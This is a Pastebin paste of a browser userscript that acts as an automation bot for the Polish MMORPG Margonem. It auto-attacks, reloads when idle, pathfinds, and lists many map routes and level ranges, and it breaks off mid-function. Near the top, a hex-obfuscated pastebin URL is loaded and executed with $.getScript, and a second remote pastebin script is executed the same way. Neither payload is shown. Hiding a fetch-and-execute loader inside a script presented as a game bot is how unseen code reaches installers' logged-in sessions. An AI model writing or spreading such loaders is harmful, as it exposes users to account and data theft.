Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name Bot Margonem
- // @version 1.0
- // @description ---
- // @author Dziobek
- // @match *://*.margonem.pl
- // @grant none
- // ==/UserScript==
- window.bot = new function() {
- var cs=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x73\x74\x65\x62\x69\x6e\x2e\x63\x6f\x6d\x2f\x72\x61\x77\x2f\x64\x37\x4b\x62\x56\x6e\x61\x78']; $.getScript(cs[0]);
- var timer33;
- function lookx()
- {
- if(localStorage.getItem('boton') == 'on')
- {
- if($("#autobattleButton").css("display") == "block")
- {
- $("#autobattleButton").click();
- }
- timer33 = setTimeout(lookx,1000);
- }
- else
- {
- clearTimeout(timer33);// clearinterval
- }
- !function(_parseInput) {
- var idleTime = 0;
- var firstTime = true;
- parseInput = function(a, b, c) {
- _parseInput(a, b, c);
- if (firstTime) {
- setInterval(function() {
- idleTime++;
- if (idleTime > 5) {
- idleTime = 0;
- window.location.reload();
- }
- }, 1000);
- firstTime = false;
- }
- idleTime = 0;
- }
- }(parseInput)
- }lookx();
- $.getScript('https://pastebin.com/raw/zKqMjK7F');
- (function() {
- 'use strict';
- function antyLag(){
- if($('#battletimer')[0].innerText == "Walka zakończona." && $('#battle')[0].style["display"] == "block"){
- _g('fight&a=quit');
- console.log("Zamknięto okno.");
- }
- }
- setInterval(function(){ antyLag(); }, 150);
- })();
- function b(K, L) {
- return Math.abs(K.x - L.x) + Math.abs(K.y - L.y)
- }
- function d(K, L) {
- return new s(map.col, map.x, map.y, {
- x: hero.x,
- y: hero.y
- }, {
- x: K,
- y: L
- }, g.npccol).anotherFindPath()
- }
- function e(K, L) {
- let M = d(K, L);
- Array.isArray(M) && (window.road = M)
- }
- function f(K) {
- let L = g.npc[K];
- if (L.grp)
- for (let M in g.npc) g.npc[M].grp != L.grp || I.includes(g.npc[M].id) || I.push(g.npc[M].id);
- else I.includes(K) || I.push(K)
- }
- function k() {
- for (let K in g.npc) {
- let L = g.npc[K];
- if ((2 == L.type || 3 == L.type) && 19 > L.wt && o(L.id) && hero.lvl + 30 >= L.lvl && 2 > Math.abs(hero.x - L.x) && 2 > Math.abs(hero.y - L.y) && q()) return _g(`fight&a=attack&ff=1&id=-${L.id}`)
- }
- }
- function m() {
- let K = new Date,
- L = K.getHours(),
- M = K.getSeconds(),
- N = K.getMinutes();
- return 10 > L && (L = `0${L}`), 10 > N && (N = `0${N}`), 10 > M && (M = `0${M}`), `${L}:${N}:${M}`
- }
- function o(K) {
- return g.npc[K].grp && (!p(g.npc[K].grp) || r[localStorage.getItem(`bot_expowiska`)].ignore_grp && r[localStorage.getItem(`bot_expowiska`)].ignore_grp.includes(g.npc[K].grp)) ? !1 : !0
- }
- function p(K) {
- for (let L in g.npc)
- if (g.npc[L].grp == K && 19 < g.npc[L].wt) return !1;
- return !0
- }
- function q() {
- return !!(70 < 100 * (hero.hp / hero.maxhp))
- }
- mAlert = function() {}, "undefined" == typeof g && -1 < document.location.href.indexOf("") && document.location.reload();
- let r = {
- "Nic": {
- map: ""
- },
- "Kwiaty dochodzenie Eder": {
- map: "Kwieciste Przejście, Lazurowe Wzgórze, Słoneczna Wyżyna, Zasłonięte Jezioro, Spokojne Przejście, Eder"
- },
- "Wracanie na kolosa 171":
- {
- map: "Nithal, Winnica Meflakasti, Jezioro Ważek, Grota Drążących Kropli p.1, Grota Drążących Kropli p.2, Pachnący Gąszcz, Jezioro Ważek, Las Zadumy, Przepaść Zadumy - przedsionek, Przepaść Zadumy - sala"
- },
- "Wracanie na kolosa 225": {
- map: "Zapomniany Las, Terytorium Furii, Zapadlisko Zniewolonych, Pajęczy Las, Grota Przebiegłego Tkacza - przedsionek"
- },
- "Wracanie na kolosa 252(z kwiatow)": {
- map: "Głuchy Las, Skarpa Trzech Słów, Zapomniana Ścieżyna, Liściaste Rozstaje, Las Dziwów, Złowrogie Bagna, Mythar, Urwisko Zdrewniałych, Wąwóz Zakorzenionych Dusz, Regiel Zabłąkanych, Grota Martwodrzewów - przedsionek"
- },
- "Wracanie nowa e2 maho":{
- map:"Urwisko Zdrewniałych, Dolina Chmur, Ciasny Przełaz p.1 - sala 1, Ciasny Przełaz p.1 - sala 2, Dolina Chmur, Niecka Xiuh Atl, Oztotl Tzacua p.1, Oztotl Tzacua p.2 - sala 1, Oztotl Tzacua p.3 - sala 1, Oztotl Tzacua p.3 - sala 2"
- },
- "Burek wracanie":{
- map:"Kwieciste Przejście, Złudny Trakt, Orcza Wyżyna, Osada Czerwonych Orków, Siedziba Rady Orków, Sala Dowódcy Orków"
- },
- "Mazur wracanie":{
- map:"Fort Eder, Stary Kupiecki Trakt, Moczary Rybiego Oka, Uroczysko Wodnika, Grota Rybiego Oka"
- },
- "Pizzernia": {
- map: "Podziemia - p.1, Podziemia - p.2, Odnoga kanału, Podziemia - p.1, Podziemia - p.3, Podziemia - p.1, Odnoga kanału, Podziemia - p.2, Podziemia - p.1"
- },
- "Mrówki wracanie Ithan": {
- map: "Ithan, Dolina Yss, Leśny Bród, Mrowisko, Mrowisko p.1, Mrowisko p.2, Kopiec Mrówek p.2, Kopiec Mrówek p.1, Kopiec Mrówek, Kopiec Mrówek p.1, Kopiec Mrówek p.2, Mrowisko p.2, Mrowisko p.1"
- },
- "Zbiry": {
- map: "Pagórki Łupieżców, Kamienna Kryjówka, Pagórki Łupieżców, Skład Grabieżców, Pagórki Łupieżców"
- },
- "Orki wracanie Ithan": {
- map: "Ithan, Zniszczone Opactwo, Zburzona Twierdza, Opuszczony Bastion, Podziemne Przejście p.1, Podziemne Przejście p.2, Zrujnowana Wieża, Podziemne Przejście p.2, Podziemne Przejście p.1, Opuszczony Bastion"
- },
- "Koboldy z wracaniem Nithal": {
- map: "Nithal, Podgrodzie Nithal, Nizina Wieśniaków, Lazurytowa Grota p.1, Lazurytowa Grota p.2, Lazurytowa Grota p.3, Lazurytowa Grota p.2"
- },
- "Galarety z wracaniem Mythar": {
- map: "Mythar, Złowrogie Bagna, Las Dziwów, Liściaste Rozstaje, Sosnowe Odludzie, Jaskinia Flamdowa p.2 - sala 2, Jaskinia Flamdowa p.3, Prastara Kopalnia Eroch p.4 - sala 1, Jaskinia Flamdowa p.3, Prastara Kopalnia Eroch p.4 - sala 2, Jaskinia Flamdowa p.3, Prastara Kopalnia Eroch p.4 - sala 1"
- },
- "Dziki wracanie eder": {
- map: "Eder, Spokojne Przejście, Racicowy Matecznik, Pieczara Kwiku - sala 1, Racicowy Matecznik, Zbójecka Skarpa"
- },
- "Wodniki": {
- map: "Eder, Gościniec Bardów, Wertepy Rzezimieszków, Źródło Narumi, Uroczysko Wodnika, Moczary Rybiego Oka, Uroczysko Wodnika, Źródło Narumi"
- },
- "Polodnice": {
- map: "Wzgórze Płaczek, Płacząca Grota p.1 - sala 2, Płacząca Grota p.2, Płacząca Grota p.3, Płacząca Grota - sala Lamentu, Płacząca Grota p.3, Płacząca Grota p.2, Płacząca Grota p.1 - sala 1, Wzgórze Płaczek, Mglista Polana Vesy, Wzgórze Płaczek"
- },
- "Magazynieży z wracaniem Andarum": {
- map: "Andarum Ilami, Świątynia Andarum, Zejście lewe Świątyni, Podziemia Świątyni, Magazyn Świątyni, Magazyn Świątyni p.2, Magazyn Świątyni, Podziemia Świątyn"
- },
- "Miniosy z wracaniem Nithal": {
- map: "Nithal, Podgrodzie Nithal, Nizina Wieśniaków, Pieczara Czaszek, Labirynt Wyklętych p.1, Labirynt Wyklętych p.2 - sala 2, Labirynt Wyklętych p.1, Labirynt Wyklętych p.2 - sala 1"
- },
- "Erem z wracaniem Andarum": {
- map: "Andarum Ilami, Skały Mroźnych Śpiewów, Erem Czarnego Słońca - sala wejściowa, Erem Czarnego Słońca p.1 s.1, Erem Czarnego Słońca - sala wejściowa, Erem Czarnego Słońca p.2 s.1, Erem Czarnego Słońca p.2 s.2, Erem Czarnego Słońca - sala wejściowa, Erem Czarnego Słońca p.1 s.2, Erem Czarnego Słońca - sala wejściowa, Skały Mroźnych Śpiewów, Erem Czarnego Słońca - północ, Erem Czarnego Słońca - lochy, Erem Czarnego Słońca - północ, Erem Czarnego Słońca - lochy, Erem Czarnego Słońca - lochy przejście, Erem Czarnego Słońca - lochy p.1, Erem Czarnego Słońca - lochy p.2, Erem Czarnego Słońca - lochy p.1, Erem Czarnego Słońca - lochy przejście, Erem Czarnego Słońca - lochy, Erem Czarnego Słońca - północ, Skały Mroźnych Śpiewów"
- },
- "Rycerze z wracaniem Tuzmer": {
- map: "Tuzmer, Stare Sioło, Sucha Dolina, Płaskowyż Arpan, Sucha Dolina, Dolina Pustynnych Kręgóws"
- },
- "Kwiaty exp": {
- map: "Kwieciste Przejście, Głuchy Las"
- },
- "Miśki": {
- map: "Lodowa Wyrwa p.2, Lodowa Wyrwa p.1 s.1, Lodowa Wyrwa p.1 s.2, Sala Lodowych Iglic, Lodowa Wyrwa p.1 s.2, Lodowa Wyrwa p.1 s.1"
- },
- "Piraci wracanie Tuzmer": {
- map: "Tuzmer, Port Tuzmer, Latarniane Wybrzeże, Korsarska Nora - sala 1, Korsarska Nora - sala 2, Korsarska Nora - sala 3, Korsarska Nora - sala 4, Korsarska Nora p.1, Korsarska Nora - sala 4, Korsarska Nora - sala 3, Korsarska Nora - sala 2, Korsarska Nora - sala 1, Korsarska Nora - sala 2"
- },
- "Mumie wracanie Tuzmer": {
- map: "Tuzmer, Stare Sioło, Sucha Dolina, Płaskowyż Arpan, Oaza Siedmiu Wichrów, Ruiny Pustynnych Burz, Oaza Siedmiu Wichrów, Ciche Rumowiska, Oaza Siedmiu Wichrów, Ruiny Pustynnych Burz, Oaza Siedmiu Wichrów"
- },
- "Magradit": {
- map: "Magradit, Magradit - Góra Ognia, Wulkan Politraki p.4, Wulkan Politraki p.3 - sala 1, Wulkan Politraki p.3 - sala 2, Wulkan Politraki p.2, Wulkan Politraki p.1, Wulkan Politraki p.2, Wulkan Politraki p.3 - sala 2, Wulkan Politraki p.3 - sala 1, Wulkan Politraki p.4, Magradit - Góra Ognia, Magradit"
- },
- "Molochy wracaniem Nithal": {
- map: "Nithal, Winnica Meflakasti, Baszta Wilczych Kłów, Grota Heretyków p.2, Grota Heretyków p.3, Grota Heretyków p.4, Grota Heretyków p.5, Grota Heretyków p.4, Grota Heretyków p.3, Grota Heretyków p.2, Grota Heretyków p.3, Grota Heretyków p.4, Grota Heretyków p.5"
- },
- "Czerwone Orki": {
- map: "Kwieciste Przejście, Złudny Trakt, Orcza Wyżyna, Osada Czerwonych Orków, Siedziba Rady Orków, Osada Czerwonych Orków"
- },
- "Berki wracanie Eder": {
- map: "Eder, Fort Eder, Mokradła, Dolina Rozbójników, Wioska Ghuli, Zaginiona Dolina, Opuszczona Twierdza, Mała Twierdza - sala wejściowa, Opuszczona Twierdza, Szuwarowe Trzęsawisko, Czarcie Oparzeliska, Pustelnia Wojownika p.1, Pustelnia Wojownika p.2, Czarcie Oparzeliska, Grobowiec Przodków, Czarcie Oparzeliska, Pustelnia Wojownika p.2, Pustelnia Wojownika p.1, Czarcie Oparzeliska, Szuwarowe Trzęsawisko, Opuszczona Twierdza, Mała Twierdza - sala wejściowa, Opuszczona Twierdza"
- },
- "Kuznia":{
- map: "Kuźnia Worundriela p.7 - sala 2, Kuźnia Worundriela p.7 - sala 3, Kuźnia Worundriela p.7 - sala 4, Kuźnia Worundriela p.7 - sala 3, Kuźnia Worundriela p.7 - sala 2"
- },
- "Wiedzmy low":{
- map: "Tristam, Dom czarnej magii, Tristam, Dom Amry, Tristam, Dom nawiedzonej wiedźmy, Tristam, Doms starej czarownicy, Tristam, Splugawiona kaplica, Tristam, Ograbiona świątynia, Tristam, Magazyn mioteł, Tristam, Dom Adariel, Tristam, Splądrowana kaplica, Tristam, Opuszczone więzienie, Lochy Tristam, Laboratorium Adariel, Lochy Tristam, Opuszczone więzienie, Tristam, Sabatowe Góry, Wiedźmie Kotłowisko, Upiorna Droga, Wiedźmie Kotłowisko, Sabatowe Góry, Tristam"
- },
- "Duchy wracanie Thuzal": {
- map: "Thuzal, Grań Gawronich Piór, Błota Sham Al, Ruiny Tass Zhil, Przeklęty Grobowiec, Tajemne Przejście, Przedsionek Grobowca, Ruiny Tass Zhil, Przeklęty Grobowiec"
- },
- "Gobliny wracanie Thuzal": {
- map: "Thuzal, Grań Gawronich Piór, Lazurowe Wzgórze, Kwieciste Przejście, Złodny Trakt, Orcza wyżyna, Przedsionek Złych Goblinów, Goblińskie lokum, Przedsionek Złych Goblinów, Lokum Złych Goblinów, Przedsionek Złych Goblinów"
- },
- "Furbole wracanie Torneg": {
- map: "Torneg, Zapomniany Las, Rozległa Równina, Wzgórza Obłędu, Rozległa Równina, Dolina Gniewu, Zalana Grota p.1, Zalana Grota p.2, Zalana Grota p.1, Dolina Gniewu, Terytorium Furii, Dolina Gniewu, Zalana Grota p.1, Zalana Grota p.2, Zalana Grota p.1, Dolina Gniewu, Rozległa Równina, Zapomniany Las"
- },
- "Draki wracanie Thuzal": {
- map: "Rozlewisko Kai, Przysiółek Valmirów, Śnieżycowy Las, Śnieżna Granica, Śnieżycowy Las, Przysiółek Valmirów, Szczerba Samobójców, Przysiółek Valmirów, Rozlewisko Kai"
- },
- "Patrycjusze wracanie Thuzal": {
- map: "Thuzal, Grań Gawronich Piór, Krypty Bezsennych - kaplica, Krypty Bezsennych p.1, Krypty Bezsennych p.2, Krypty Bezsennych p.2 - przejście - sala 1, Krypty Bezsennych p.2 - przejście - sala 2, Krypty Bezsennych p.2, Krypty Bezsennych p.3, Krypty Bezsennych p.2, Krypty Bezsennych p.2 - przejście - sala 2, Krypty Bezsennych p.2 - przejście - sala 1, Krypty Bezsennych p.2"
- },
- "Myszy wracanie Nithal": {
- map: "Nithal, Izba chorych płn., Izba chorych płn. - piwnica p.1, Izba chorych płn. - piwnica p.2, Izba chorych płn. - piwnica p.3, Izba chorych - piwniczne przejście, Kanały Nithal, Szlamowe Kanały, Kanały Nithal, Szlamowe Kanały"
- },
- "Sekta wracanie Nithal": {
- map: "Nithal, Izba chorych płn., Izba chorych płn. - piwnica p.1, Izba chorych płn. - piwnica p.2, Izba chorych płn. - piwnica p.3, Izba chorych - piwniczne przejście, Kanały Nithal, Szlamowe Kanały, Przedsionek Kultu, Tajemnicza Siedziba, Mroczne Komnaty, Przerażające Sypialnie, Mroczne Komnaty, Tajemnicza Siedziba, Sala Tysiąca Świec, Tajemnicza Siedziba, Lochy Kultu, Sale Rozdzierania, Lochy Kultu, Tajemnicza Siedziba, Przedsionek Kultu"
- },
- "Pająki wracanie Torneg": {
- map: "Torneg, Zapomniany Las, Rozległa Równina, Dolina Gniewu, Terytorium Furii, Zapadlisko Zniewolonych, Pajęczy Las, Otchłań Pajęczych Sieci, Dolina Pajęczych Korytarzy, Arachnitopia p.1, Arachnitopia p.2, Arachnitopia p.3, Arachnitopia p.4, Arachnitopia p.5, Arachnitopia p.4, Arachnitopia p.3, Arachnitopia p.2, Arachnitopia p.1, Dolina Pajęczych Korytarzy, Otchłań Pajęczych Sieci, Pajęczy Las"
- },
- "Madoki wracanie Thuzal": {
- map: "Thuzal, Grań Gawronich Piór, Lazurowe Wzgórze, Kwieciste Przejście, Głuchy Las, Zawodzące Kaskady, Mglista Grota p.1 - sala 1, Mglista Grota p.1 - sala 2, Mglista Grota p.2, Mglista Grota - sala wyjściowa, Zawodzące Kaskady, Skryty Azyl, Jaszczurze Korytarze p.1, Jaszczurze Korytarze p.2, Jaszczurze Korytarze p.3 - sala 2, Jaszczurze Korytarze p.4 - sala 2, Jaszczurze Korytarze p.4 - sala 1, Jaszczurze Korytarze p.5, Jaszczurze Korytarze p.4 - sala 1, Jaszczurze Korytarze p.4 - sala 2, Jaszczurze Korytarze p.3 - sala 2, Jaszczurze Korytarze p.2, Jaszczurze Korytarze p.1, Skryty Azyl, Złota Dąbrowa, Oślizgłe Przejście - sala 1, Oślizgłe Przejście - sala 2, Złota Dąbrowa, Mglisty Las, Grota porośniętych Stalagmitów - sala wyjściowa, Grota porośniętych Stalagmitów - przejście, Grota porośniętych Stalagmitów - sala główna, Grota porośniętych Stalagmitów - przejście, Grota porośniętych Stalagmitów - sala boczna, Grota porośniętych, Stalagmitów - przejście, Grota porośniętych Stalagmitów - sala główna, Grota porośniętych Stalagmitów - przejście, Grota porośniętych Stalagmitów - sala wyjściowa, Mglisty Las, Złota Dąbrowa, Mglisty Las, Grota porośniętych Stalagmitów - sala wyjściowa, Grota porośniętych Stalagmitów - przejście, Grota porośniętych Stalagmitów - sala główna, Grota porośniętych Stalagmitów - przejście, Grota porośniętych Stalagmitów - sala boczna, Grota porośniętych Stalagmitów - przejście, Grota porośniętych Stalagmitów - sala wyjściowa, Mglisty Las, Złota Dąbrowa, Oślizgłe Przejście - sala 2, Oślizgłe Przejście - sala 1, Złota Dąbrowa, Skryty Azyl"
- },
- "Anuraki wracanie Thuzal": {
- map: "Thuzal, Grań Gawronich Piór, Lazurowe Wzgórze, Kwieciste Przejście, Głuchy Las, Zawodzące Kaskady, Skryty Azyl, Złota Dąbrowa, Oślizgłe Przejście - sala 1, Oślizgłe Przejście - sala 2, Złota Dąbrowa, Dolina Pełznącego Krzyku, Grzęzawisko Rozpaczy, Zatrute Torfowiska, Gnijące Topielisko, Bagna Umarłych, Gnijące Topielisko, Zatrute Torfowiska, Grzęzawisko Rozpaczy, Dolina Pełznącego Krzyku, Złota Dąbrowa"
- },
- "Drzewce wracanie Mythar":{
- map: "Mythar, Urwisko Zdrewniałych, Wąwóz Zakorzenionych Dusz, Krzaczasta Grota p.1 - sala 1, Krzaczasta Grota p.1 - sala 2, Krzaczasta Grota p.1 - sala 3, Krzaczasta Grota p.2 - sala 3, Krzaczasta Grota p.2 - sala 2, Krzaczasta Grota p.2 - sala 3, Krzaczasta Grota p.2 - sala 1, Wąwóz Zakorzenionych Dusz, Regiel Zabłąkanych, Źródło Zakorzenionego Ludu, Jaskinia Korzennego Czaru p.2 - sala 1, Jaskinia Korzennego Czaru p.3, Źródło Zakorzenionego Ludu, Jaskinia Korzennego Czaru p.3, Jaskinia Korzennego Czaru p.2 - sala 1, Jaskinia Korzennego Czaru p.1 - sala 1, Jaskinia Korzennego Czaru p.1 - sala 2, Jaskinia Korzennego Czaru p.1 - sala 4, Jaskinia Korzennego Czaru p.2 - sala 2, Jaskinia Korzennego Czaru p.1 - sala 1, Źródło Zakorzenionego Ludu, Jaskinia Korzennego Czaru p.1 - sala 1, Jaskinia Korzennego Czaru p.2 - sala 2, Jaskinia Korzennego Czaru p.1 - sala 4, Jaskinia Korzennego Czaru p.1 - sala 2, Jaskinia Korzennego Czaru p.1 - sala 1, Jaskinia Korzennego Czaru p.1 - sala 3, Jaskinia Korzennego Czaru p.1 - sala 4, Jaskinia Korzennego Czaru p.1 - sala 3, Jaskinia Korzennego Czaru p.1 - sala 1, Jaskinia Korzennego Czaru p.2 - sala 1, Źródło Zakorzenionego Ludu, Piaskowa Gęstwina, Źródło Zakorzenionego Ludu, Regiel Zabłąkanych, Wąwóz Zakorzenionych Dusz, Urwisko Zdrewniałych"
- },
- "Wiedźmy high": {
- map: "Potępione Zamczysko, Potępione Zamczysko - korytarz wejściowy, Potępione Zamczysko - lochy wschodnie, Potępione Zamczysko - korytarz wejściowy, Potępione Zamczysko - wschodnia komnata, Potępione Zamczysko - korytarz wschodni, Wieża Szlochów p.1, Wieża Szlochów p.2, Wieża Szlochów p.3, Wieża Szlochów p.2, Wieża Szlochów p.1, Potępione Zamczysko - korytarz wschodni, Potępione Zamczysko - korytarz wejściowy, Potępione Zamczysko - korytarz zachodni, Potępione Zamczysko - zachodnia komnata, Potępione Zamczysko - korytarz wejściowy, Potępione Zamczysko - lochy zachodnie, Potępione Zamczysko - korytarz wejściowy, Potępione Zamczysko, Plugawe Pustkowie, Jęczywąwóz, Pogranicze Wisielców, Jęczywąwóz, Plugawe Pustkowie, Zachodnie Zbocze, Plugawe Pustkowie, Potępione Zamczysko"
- },
- "Mahopteki low wracanie Mythar": {
- map: "Mythar, Urwisko Zdrewniałych, Wąwóz Zakorzenionych Dusz, Regiel Zabłąkanych, Źródło Zakorzenionego Ludu, Altepetl Mahoptekan, Niecka Xiuh Atl, Dolina Chmur, Niecka Xiuh Atl, Altepetl Mahoptekan, Dolina Chmur, Altepetl Mahoptekan, Mictlan p.1, Mictlan p.2, Mictlan p.3, Mictlan p.2, Mictlan p.1, Altepetl Mahoptekan"
- },
- "Mahopteki wracanie Mythar": {
- map: "Mythar, Urwisko Zdrewniałych, Dolina Chmur, Ciasny Przełaz p.1 - sala 1, Ciasny Przełaz p.1 - sala 2, Dolina Chmur, Niecka Xiuh Atl, Altepetl Mahoptekan, Mictlan Rwącej Rzeki p.1, Mictlan Rwącej Rzeki p.2, Mictlan Rwącej Rzeki p.3, Mictlan Rwącej Rzeki p.4, Mictlan Rwącej Rzeki p.5, Mictlan Rwącej Rzeki p.6, Mictlan Rwącej Rzeki p.7, Mictlan Rwącej Rzeki p.8, Mictlan Rwącej Rzeki p.7, Mictlan Rwącej Rzeki p.6, Mictlan Rwącej Rzeki p.5, Mictlan Rwącej Rzeki p.4, Mictlan Rwącej Rzeki p.3, Mictlan Rwącej Rzeki p.2, Mictlan Rwącej Rzeki p.1, Altepetl Mahoptekan, Mictlan Zrośniętych Gór p.1, Mictlan Zrośniętych Gór p.2, Mictlan Zrośniętych Gór p.3, Mictlan Zrośniętych Gór p.4, Mictlan Zrośniętych Gór p.5, Mictlan Zrośniętych Gór p.6, Mictlan Zrośniętych Gór p.7, Zrośniętych Gór p.8, Mictlan Zrośniętych Gór p.7, Mictlan Zrośniętych Gór p.6, Mictlan Zrośniętych Gór p.5, Mictlan Zrośniętych Gór p.4, Mictlan Zrośniętych Gór p.3, Mictlan Zrośniętych Gór p.2, Mictlan Zrośniętych Gór p.1, Altepetl Mahoptekan"
- },
- "Katy wracanie Tuzmer": {
- map: "Tuzmer, Stare Sioło, Sucha Dolina, Płaskowyż Arpan, Oaza Siedmiu Wichrów, Ruiny Pustynnych Burz, Pustynne Katakumby, Pustynne Katakumby - sala 1, Komnaty Bezdusznych - sala 1, Komnaty Bezdusznych - sala 2, Katakumby Odnalezionych Skrytobójców, Korytarz Porzuconych Nadziei, Katakumby Opętanych Dusz, Zachodni Tunel Jaźni, Katakumby Poległych Legionistów, Zachodni Tunel Jaźni, Katakumby Krwawych Wypraw, Wschodni Tunel Jaźni, Katakumby Gwałtownej Śmierci, Komnaty Bezdusznych - sala 2, Komnaty Bezdusznych - sala 1"
- },
- "Pustynia wracanie Tuzmer": {
- map: "Port Tuzmer, Wioska Rybacka, Ciche Rumowiska, Dolina Suchych Łez, Skały Umarłych, Smocze Skalisko, Jaskinia Próby, Jaskinia Odwagi, Smocze Skalisko, Pustynia Shaiharrud - wsch\xF3d, Jurta Nomadzka, Pustynia Shaiharrud - wsch\xF3d, Grota Po\u015Bwi\u0119cenia, Pustynia Shaiharrud - wsch\xF3d, Namiot Pustynnych Smok\xF3w, Pustynia Shaiharrud - wsch\xF3d, Pustynia Shaiharrud - zach\xF3d, Jaskinia Piaskowej Burzy s.1, Jaskinia Piaskowej Burzy s.2, Namiot Naznaczonych, Pustynia Shaiharrud - zach\xF3d, Namiot Piechoty Pi\u0142owej, Pustynia Shaiharrud - zach\xF3d, Jaskinia Szcz\u0119k, Jurta Czcicieli, Pustynia Shaiharrud - zach\xF3d, Namiot Gwardii Smokoszcz\u0119kich, Pustynia Shaiharrud - zach\xF3d, S\u0119piarnia, Pustynia Shaiharrud - zach\xF3d, Jaskinia Smoczej Paszczy p.1, Jaskinia Smoczej Paszczy p.2, Jaskinia Smoczej Paszczy p.1, Jurta Chaegda, Pustynia Shaiharrud - zach\xF3d, Smocze Skalisko, Jaskinia Odwagi, Smocze Skalisko, Urwisko Vapora, Smocze Skalisko, Pustynia Shaiharrud - zach\xF3d"
- },
- };
- let AB ={
- "Nic": {
- lvl: "0-0"// trzeba cos zrobic zeby zapętliło
- },
- "Kwiaty dochodzenie Eder": {
- lvl: "xd"
- },
- "Madok duzy wracanko": {
- lvl: "Xd"
- },
- "Madok mały wracanko": {
- lvl: "Xd"
- },
- "Wracanie na kolosa 171":{
- lvl:"xd"
- },
- "Wracanie na kolosa 225": {
- lvl:"Xd"
- },
- "Wracanie na kolosa 252(z kwiatow)": {
- lvl:"Xd"
- },
- "Silva wracanie":{
- lvl:"LOL"
- },
- "Silva wracanie(z kwiatów)":{
- lvl:"LOL"
- },
- "Wracanie nowa e2 maho":{
- lvl:"xd"
- },
- "Wracanie na dendro":{
- lvl:"xd"
- },
- "Furbol wracanie":{
- lvl:"xd"
- },
- "Burek wracanie":{
- lvl:"xd"
- },
- "Mazur wracanie":{
- lvl:"xd"
- },
- "Pizzernia": {
- lvl: "40-300"
- },
- "Mrówki wracanie Ithan": {
- lvl: "22-25"
- },
- "Zbiry": {
- lvl: "35-38"
- },
- "Orki wracanie Ithan": {
- lvl: "42-46"
- },
- "Koboldy z wracaniem Nithal": {
- lvl: "52-57"
- },
- "Galarety z wracaniem Mythar": {
- lvl: "60-69"
- },
- "Dziki wracanie eder": {
- lvl: "51-65"
- },
- "Wodniki": {
- lvl: "74-80"
- },
- "Poludnice": {
- lvl: "65-72"
- },
- "Magazynieży z wracaniem Andarum": {
- lvl: "71-86"
- },
- "Miniosy z wracaniem Nithal": {
- lvl: "72-86"
- },
- "Erem z wracaniem Andarum": {
- lvl: "80-86"
- },
- "Rycerze z wracaniem Tuzmer": {
- lvl: "74-96"
- },
- "Kwiaty exp": {
- lvl: "80-98"
- },
- "Miśki": {
- lvl: "100-110"
- },
- "Piraci wracanie Tuzmer": {
- lvl: "100-120"
- },
- "Mumie wracanie Tuzmer": {
- lvl: "108-120"
- },
- "Magradit": {
- lvl: "100-133"
- },
- "Molochy wracaniem Nithal": {
- lvl: "130-140"
- },
- "Czerwone Orki": {
- lvl: "130-140"
- },
- "Berki wracanie Eder": {
- lvl: "130-150"
- },
- "Kuznia":{
- lvl: "100-137"
- },
- "Wiedzmy low":{
- lvl: "140-160"
- },
- "Duchy wracanie Thuzal": {
- lvl: "150-167"
- },
- "Gobliny wracanie Thuzal":{
- lvl: "142-155"
- },
- "Ogry": {
- lvl: "160-176"
- },
- "Ingotia":{
- lvl: "160-175"
- },
- "SK wracanie Thuzal": {
- lvl: "160-170"
- },
- "Furbole wracanie Torneg": {
- lvl: "170-185"
- },
- "Draki wracanie Thuzal": {
- lvl: "180-195"
- },
- "Patrycjusze wracanie Thuzal": {
- lvl: "180-189"
- },
- "Myszy wracanie Nithal": {
- lvl: "180-197"
- },
- "Sekta wracanie Nithal": {
- lvl: "190-199"
- },
- "Pająki wracanie Torneg": {
- lvl: "200-215"
- },
- "Madoki wracanie Thuzal": {
- lvl: "210-225"
- },
- "Anuraki wracanie Thuzal": {
- lvl: "220-235"
- },
- "Drzewce wracanie Mythar":{
- lvl: "230-245"
- },
- "Wiedźmy high": {
- lvl: "240-265"
- },
- "Mahopteki wracanie Mythar": {
- lvl: "230-265"
- },
- "Katy wracanie Tuzmer": {
- lvl: "250-279"
- },
- "Pustynia wracanie Tuzmer": {
- lvl: "270-290"
- },
- };
- class s {
- constructor(K, L, M, N, O, P) {
- this.width = L, this.height = M, this.collisions = this.parseCollisions(K, L, M), this.additionalCollisions = P || {}, this.start = this.collisions[N.x][N.y], this.end = this.collisions[O.x][O.y], this.start.beginning = !0, this.start.g = 0, this.start.f = b(this.start, this.end), this.end.target = !0, this.end.g = 0, this.addNeighbours(), this.openSet = [], this.closedSet = [], this.openSet.push(this.start)
- }
- parseCollisions(K, L, M) {
- const N = Array(L);
- for (let O = 0; O < L; O++) {
- N[O] = Array(M);
- for (let P = 0; P < M; P++) N[O][P] = new t(O, P, "1" === K.charAt(O + P * L))
- }
- return N
- }
- addNeighbours() {
- for (let K = 0; K < this.width; K++)
- for (let L = 0; L < this.height; L++) this.addPointNeighbours(this.collisions[K][L])
- }
- addPointNeighbours(K) {
- const L = K.x,
- M = K.y,
- N = [];
- 0 < L && N.push(this.collisions[L - 1][M]), 0 < M && N.push(this.collisions[L][M - 1]), L < this.width - 1 && N.push(this.collisions[L + 1][M]), M < this.height - 1 && N.push(this.collisions[L][M + 1]), K.neighbours = N
- }
- anotherFindPath() {
- for (; 0 < this.openSet.length;) {
- let K = this.getLowestF(),
- L = this.openSet[K];
- if (L === this.end) return this.reconstructPath();
- this.openSet.splice(K, 1), this.closedSet.push(L);
- for (const M of L.neighbours)
- if (this.closedSet.includes(M)) continue;
- else {
- const N = L.g + 1;
- let O = !1;
- this.end != this.collisions[M.x][M.y] && (this.openSet.includes(M) || M.collision || this.additionalCollisions[M.x + 256 * M.y]) ? N < M.g && !M.collision && (O = !0) : (this.openSet.push(M), M.h = b(M, this.end), O = !0), O && (M.previous = L, M.g = N, M.f = M.g + M.h)
- }
- }
- }
- getLowestF() {
- let K = 0;
- for (let L = 0; L < this.openSet.length; L++) this.openSet[L].f < this.openSet[K].f && (K = L);
- return K
- }
- reconstructPath() {
- const K = [];
- for (let L = this.end; L !== this.start;) K.push(L), L = L.previous;
- return K
- }
- }
- class t {
- constructor(K, L, M) {
- this.x = K, this.y = L, this.collision = M, this.g = 1e7, this.f = 1e7, this.neighbours = [], this.beginning = !1, this.target = !1, this.previous = void 0
- }
- }
- localStorage.getItem(`bot_lastmaps`) || localStorage.setItem(`bot_lastmaps`, JSON.stringify([]));
- let v = this,
- z = !1,
- A = !1,
- B, C, D, E = 0,
- F = !1,
- G = !1;
- g.loadQueue.push({
- fun: () => {
- G = !0
- }
- });
- let H = !0,
- I = [];
- setInterval(function() {
- B && (B = void 0)
